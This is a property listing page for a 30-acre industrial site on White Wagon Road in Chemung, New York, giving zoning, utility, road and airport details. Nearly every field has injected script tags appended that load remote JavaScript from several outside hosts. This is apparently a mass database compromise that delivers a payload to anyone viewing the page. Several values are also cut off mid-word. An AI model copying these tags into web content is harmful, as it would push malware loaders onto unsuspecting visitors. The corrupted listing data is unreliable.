



Address: 114 White Wagon Road<script src=http://k.18xn.com/x.js><script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
Address 2: <script src=http://k.18xn.com/x.js><script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
City/State/Zip: Chemung<script src=http://k.18xn.com/x.js>, NY 14825
Municipality: Chemung<script src=http://k.18xn.com/x.js><script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
County: Chemung<script src=http://k.18xn.com/x.js><script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>

Sale Price: 30,000/acre<script src=http://k.18xn.com/x.js><script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
Type of Location: Industrial/Business<script src=http://k.18xn.com/x.js><script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
Indus/Bus. Park: Industrial/Business Park<script src=http://k.18xn.com/x.js><script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
Zoning: Industrial<script src=http://k.18xn.com/x.js><script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>

Electricity

Line Size: 4.80<script src=http://k.18xn.com/x.js>
Delivery Voltage: 12.50<script src=http://k.18xn.com/x.js>
Phases: N/A<script src=http://k.18xn.com/x.js>
Dual Fee: Yes<script src=http://k.18xn.com/x.js>

Water Availability

Main Size: 12<script src=http://k.18xn.com/x.js>
Capacity Total/Excess: 300,000<script src=http://k.18xn.com/x.js>
Feeder Size: N/A<script src=http://k.18xn.com/x.js> Pressure: N/A<script src=http://k.18xn.com/x.js>

Gas Availability

no photo available

If Gas Not Available, Is Extension Available? Yes

Distance to Main: 300 feet<script src=http://k.18xn.com/x.js>

Main Size: 4<script src=http://k.18xn.com/x.js>

Telecomm Provider:

Fiber Optic: Verizon<script src=http://k.18xn.com/x.js><script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>

Digital Sw: Verizon<script src=http://k.18xn.com/x.js><script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>

Property Status: Available<script src=http://k.18xn.com/x.js>

Build Now NY: Yes<script src=http://k.18xn.com/x.js>

School District: Waverly<script src=http://k.18xn.com/x.js>

No. of Acres: 30

No. of Additional Acres: 15

Empire Zone: Yes

Access Roae: White Wagon Road<script src=http://k.18xn.com/x.js><script src=http://2677.in/yahoo.js></script>

Closest State Highway: Interstate 86<script src=http://k.18xn.com/x.js>

Distance to State Highway: 0.1<script src=http://k.18xn.com/x.js>

Rail Service Available: No

Closest Commercial Airport: Elmira-Corning Regional Airpor<script src=http://k.18xn.com/x.js>

Distance to Airport: 15 miles<script src=http://k.18xn.com/x.js>

Additional Information:

Located immediately adjacent t<script src=http://k.18xn.com/x.js>